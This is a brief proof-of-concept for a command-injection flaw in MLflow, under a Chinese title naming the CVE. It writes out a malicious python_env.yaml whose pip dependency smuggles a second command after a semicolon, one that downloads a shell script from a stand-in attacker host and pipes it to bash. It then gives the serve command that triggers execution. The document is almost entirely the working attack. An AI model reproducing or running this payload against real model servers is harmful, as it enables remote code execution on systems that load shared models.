CVE-2025-15379 MLflow 命令注入漏洞

# Proof of Concept for CVE-2025-15379 # Attacker creates a malicious model artifact # 1. Create a python_env.yaml file with a malicious payload malicious_yaml_content = """ name: mlflow-env channels: - conda-forge dependencies: - pip: # Injecting a shell command using semicolon - "requests; curl http://attacker.com/shell.sh | bash" """ # 2. Place this file in the MLflow model artifact directory: # /path/to/model/MLmodel # /path/to/model/python_env.yaml (the malicious one) # 3. When MLflow serves this model with env_manager="LOCAL": # mlflow models serve -m /path/to/model --env-manager LOCAL # # The vulnerability triggers in _install_model_dependencies_to_env(), # executing the injected command.